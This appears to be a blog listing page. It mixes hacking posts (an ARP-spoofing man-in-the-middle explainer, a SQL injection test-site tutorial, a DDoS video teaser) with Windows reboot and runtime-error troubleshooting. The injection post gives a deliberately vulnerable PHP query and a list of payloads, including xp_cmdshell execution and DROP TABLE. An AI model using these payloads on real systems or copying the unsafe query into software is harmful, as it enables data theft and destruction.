Background

Hacking Skill - ARP poisoning



Man-In-The-Middle attack using ARP spoofing


ARP stands for Address Resolution Protocol. ARP acts as a layer over the Internet Protocol address (IP) and converts it into a Media Access Control address (MAC address) or Ethernet Hardware Address (EHA). Understanding the concept of ARP is very important for a hacker because, a potential hacker will be able to poison the network and steal the information running between two servers. Hence he can execute a ‘Man-In-The-Middle‘ attack using a simple ARP poisoning tool such as Cain & Abel. The function of Cain & Abel is similar to a packet sniffer.
MAC address is a unique identification address for network nodes, such as computers, printers, and other devices on a LAN.  MAC addresses are associated to network adapter that connects devices to networks.  The MAC address is critical to locating networked hardware devices because it ensures that data packets go to the correct place.  ARP tables, or cache, are used to correlate network device’s IP addresses to their MAC addresses.
How it works?
Consider you want the phone number of a person whose name is already known to you. In that case you will checkout your telephone book and if the number is not available the you will call the phone service and request him the number. Here the telephone directory act as ARP tables and the phone service as ARP. ARP tables give the list of addresses of computers which are connected to that system inside the network.
What is ARP poisoning?
If a system(say System 1) requests to connect to another system(System 2) inside the network, then System 2 checks the entry of the System 1 in its ARP tables and if the entry is not present then it is automatically added in System 2′s ARP tables. The weakness of the ARP is that, it cannot identify if a person request to connect with it showing a another address. Therefore a hacker can easily poison this network, that is, a potential hacker if sends a request to connect to System 2 showing the IP address of System 1 then he can access the network of System 1 associated with System 2! So he will be able to obtain the information passing between them. That is, there is another path executed between the System 1 and System 2.
Suppose, if a hacker has poisoned a path between social networking site and a victim’s system then he would be able to steal the information passing between them, like username and password etc.
So here, in this case the phone service is calling you and giving you the number, even though you haven’t requested it! (Scenario mentioned above)
The concept of ARP with a simple example:
The attacker: 10.0.0.1
MAC address: 00-AA-BB-CC-DD-00
The victims: 10.0.0.2
MAC address: 00-AA-BB-CC-DD-E1
Fake address:10.0.0.3
MAC address: 00-AA-BB-CC-DD-E2
A potential hacker sends a packet (request to connect) to 10.0.0.2 with spoofed IP of  10.0.0.3 and then it sends a crafted package to 10.0.0.3 with  spoofed IP of 10.0.0.2 with his own IP. This means that both victims think they can find each other at the MAC address of the attacker. This is known as Man-In-The-Middle attack
Now all the traffic between those 2 hosts will go through the attacker first. So this means that the attack will need to reroute the packets to the real destination else you get a DOS on the network and there will be no traffic possible. Also remember that the ARP tables get updated so if during a long period of time there is no ARP poisoning the entries will be deleted and you won’t be able to sniff until you start poisoning again.
Read More 0 comments

How to create a SQL Injection Test Site


Just run the simplest unprotected query:
$query = "SELECT * FROM users WHERE username = ".stripslashes($_POST['username'])." AND password = ".stripslashes($_POST['password'])
and enjoy! The stripslashes() part is there in case you haven't magic_quotes already disabled (as it should be), to avoid some automatic escaping; otherwise you'll have purest injectable input, just pick up any sql injection you might find on the internet and see. Some example:
' or 1=1--
' or 1--
' or 1
\" or '1'
' or 1=1--
' OR ''='
' or 'a'='a
') or ('a'='a
'; exec master..xp_cmdshell 'ping 10.10.1.2'--
'; EXEC master..sp_makewebtask \"\\10.10.1.3\share\output.html\", \"SELECT * FROM INFORMATION_SCHEMA.TABLES\"",
10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '%w%') AND ''='
' OR EXISTS(SELECT 1 FROM dual WHERE database() LIKE '%j%') AND ''='
' OR EXISTS(SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='test' AND TABLE_NAME='one') AND ''='
' OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA LIKE '%j%')>1 AND ''='
' OR EXISTS(SELECT * FROM users WHERE name LIKE '%r%') AND ''='
1;DROP TABLE `users`
Read More 0 comments

Ethical Hacking Video: How to Create a DDoS Attack



This video show how to make a DDOS attack. 


Attention: Do this at your own risk.

Read More 0 comments

Windows restarts without warning

Tip: This document is for computers that are restarting or rebooting by themselves and not computer's that turn off and remain off.

Software issue or error

With the introduction of Windows XP Microsoft designed Windows to automatically reboot each time an error occurs such as a BSoD. Although this may be nice for errors that do not occur often, users who have a re-occurring error may wish to identify the error to troubleshoot it. Below are the steps on how this feature can be disabled and enabled in Windows XP, Vista, 7, and 8.
  1. From the Desktop right-click on My Computer.
  2. Click the Properties option.
  3. In the System Properties window click the Advanced tab or the Advanced system settings link.
  4. In Advanced click the Settings button under Startup and Recovery.
  5. In the Startup and Recovery window uncheck the Automatically restart check box.
  6. Click Ok.
Now if the computer generates an error it should not automatically restart and should display an error message, most likely a BSoD.

Hardware issue or error

Caution: Some of the below steps require you open your computer. While in the computer, be cautious of ESD.
Any failing hardware component in your computer could cause your computer to unexpectedly generate an error or reboot without warning. If you have recently attempted to add a new hardware device, remove that device to make sure it is not causing your issues.
Make sure you are not encountering any hardware conflicts by viewing Device Manager for errors.
New drivers can also cause this issue, if you have recently performed any hardware driver updates you may wish to try an earlier version of the drivers. Additional information and help with computer drivers can be found on our drivers page.
If you have updated drivers and removed any hardware that could be causing this issue and continue to experience random reboots, it's possible that the memory is bad in the computer.
Finally, hardware devices that are not installed properly in the computer can also cause random reboots. Make sure all the cables and expansion cards are connected properly to the computer. The best way to determine this is to disconnect and reconnect all cables and expansion cards.

Computer virus

Computer viruses such as the blaster virus are written to reboot your computer without warning. Usually these viruses will make the computer reboot ever 5, 10, 15 or 30 minutes after the computer has booted.
If you believe your computer may be infected with a virus or are uncertain if your computer is infected with a virus make sure your virus scanner definitions are up to date.

Heat related issue

Many computer today are designed to turn off or automatically reboot if the computer, processor, or other device in your computer gets to hot. If you have heard any abnormal noises coming from your computer recently such as a high squealing this could indicate a fan may be failing in your computer.
First, verify the fan on the power supply is working by examining the back of the computer and seeing if the fan is moving and moving smoothly. For all other fans in the computer you will need to either open the computer and verify all fans are working, e.g. processor fan and case fan.
Tip: If your BIOS monitors the RPM of the fans enter CMOS Setup and verify it does not report any errors.

Issue with operating system

If after following each of the above recommendations your computer still continues to reboot it is likely that you are experiencing a Microsoft Windows operating system related issue that cannot be explained. To help make sure this is the case try the below steps.
  1. Reboot the computer and enter CMOS setup as the computer is booting.
  2. After you have loaded the computer in CMOS setup let the computer sit.
If the computer does not reboot while letting the computer sit in CMOS it is likely that you are in fact experiencing an issue with Microsoft Windows and it is recommend that if you have followed all of the above recommendations that you reinstall Microsoft Windows.
Read More 0 comments

Windows runtime errors


Before following the below recommendations for troubleshooting your runtime error if you're getting a runtime error with a runtime error code and error message such as "Runtime error 75 path/file access error", skip to the below runtime error listing for a listing of runtime error codes and additional information and causes for these errors.

Confliction with TSR or other running program

If you are encountering a runtime error message while in Windows or above ensure that the issue is not being caused by a third-party program or TSR by end tasking all open programs.
If, after end tasking all TSRs, you continue to experience the same issue and are running Windows 95 or Windows 98, verify that no utility or program is being loaded in the autoexec.bat and config.sys that is causing your issue by temporally renaming the files. To do this, follow the below instructions.
  1. Boot to a MS-DOS prompt.
  2. Once at the MS-DOS prompt, type:

    cd\ <press enter>
    ren autoexec.bat autoexec.ch <press enter>
    ren config.sys config.ch <press enter>

    Once completed, reboot the computer.

Software issue

If your issue persists it is possible that the program, utility or game causing the runtime error may have issues. Verify through the developer's web site that all updates or patches that may be available have been downloaded and applied.
If no patches or updates are available, uninstall and reinstall the program that is causing the issue. If you are having a runtime error in your operating system, reinstall the operating system.

Add-on, plug-in, or other extra software

Many runtime errors are also caused by other add-ons, plug-ins, or other extra software that has been installed onto the computer and is associated with the program generating the error. If you have any extra software installed that is associated with the program generating the error make sure there are no available updates for the programs and try uninstalling each of them to verify they're not the cause of your issue.

Computer virus

Because computer viruses are capable of tampering with the system settings or memory it is possible for a computer virus to generate a runtime error. If you are currently running a virus protection program on your computer ensure it has the latest updated patch or .dat file.
If you do not have a computer virus protection program it is recommended one be purchased or that a demo be temporarily downloaded to scan your computer hard drive for viruses.

Memory issue

Finally, if you have followed all of the above recommendations, it is possible that you may be encountering a hardware or memory related issue. We recommend that you first contact the developer of the program causing the issue for any possible solutions. If no solutions are found, we recommend you contact the computer or motherboard manufacturer for additional recommendations or service.

Runtime error listings

Below is a listing of Microsoft Windows and Windows software runtime error codes and related Runtime error messages. If you're encountering one of the below runtime error codes and have a matching runtime error message see the associated additional information column for causes and information about that runtime. If the additional information does not help resolve your issue try the recommendations under the abovesolution section.
CodeRuntime errorAdditional information
5Illegal function callProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
6OverflowProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
7Out of memoryThis issue can be caused when the computer does not meet the programs system requirements or to much memory is already being used for the program to run. If your computer meets the requirements try first reinstalling the program to make sure it's not an issues with the program installation. If this does not resolve your issue see out of memory troubleshooting steps.
9Subscript out of rangeProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
10Duplicate definitionProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
11Division by zeroProblem with a math formula in the program or the programs code. Verify no software updates are available for the program causing this error.
13Type MismatchMake sure your system regional settings are setup correctly and that the program you're running is made for your version of Windows.
14Out of string spaceProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
19No ResumeProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
20Resume without errorProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
28Out of stack spaceThis issue can be caused by a program or memory error. First try going through the out of memory troubleshooting steps.
35Sub or Function not definedProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
48Error in loading DLLThis issue is often caused with a bad installation or an issue caused after another program has been installed that replaced the programs DLL. Close all programs and TSRs and try installing the program again.
52Bad file name or numberProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
53File not foundFile required by the program to run is not found. Program needs to be reinstalled or missing file(s) need to be copied back to the computer.
54Bad file modeProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
55File already openProgram or file associated with program is being used and program does not have access to use it. Try closing all open and background programs and run program again.
58File already existsProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
61Disk fullThe disk, for example, the hard drive does not have enough space for the program to run or for associated files to be copied to. Free up disk space on the computer hard drive.
62Input past end of fileProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
63Bad record numberProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
64Bad file nameProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
68Device unavailableA hardware device or necessary requirement for the program is not being found. Verify all hardware and software required by the program is installed. If you continue to have the same issues verify the latest updates are installed for the program as well as any hardware device the program needs.
70Permission deniedThe location of where the program is being copied to does not have proper rights. Or a file that is trying to be copied over because it's currently being used. Try closing all programs and TSRs and running/installing the program again.
71Disk not readyVerify you have proper rights to the location you are attempting to install the program to.
74Can't rename with different driveProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
75Path/File access errorProgram does not have rights or access to a file. Often this is caused when a program is trying to access a network file it doesn't have proper access to either because of network privileges or something is blocking the program. This issue can also be caused when the file is being used by another program or is read-only.
76Path not foundDirectory of where the program needs to be copied to or files associated with the program need to be copied to is missing. Try reinstalling the program.
91Object variable set to NothingProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
93Invalid patternProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
94Illegal use of NULLProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
102Command failedProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
339A file is missing or invalidAn associated program file is missing or corrupt. Try reinstalling the program.
429Object creation failedProgram is corrupted, try reinstalling the program generating the runtime error.
438No such property or methodProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
439Argument type mismatchProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
440Object errorProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
901Input buffer would be larger than 64KProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
902Operating system errorVerify the program is compatible with your version of Windows and has any software updates.
903External procedure not foundProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
904Global variable type mismatchProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
905User-defined type mismatchA setting either in the program shortcut or being defined by the user is correct. Try running just the program without any additional settings or variables.
906External procedure interface mismatchProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
1001Out of memoryThis issue can be caused when the computer does not meet the programs system requirements or to much memory is already being used for the program to run.
If your computer meets the requirements try first reinstalling the program to make sure it's not an issue with the program installation. If this does not resolve your issue run through the out of memory troubleshooting steps.
1025DLL is not supportedThis issue is often caused with a bad installation or an issue caused after another program has been installed that replaced the programs DLL. Close all programs and TSRs and try installing the program again.
6025Microsoft Windows r6025 runtime error.
Read More 0 comments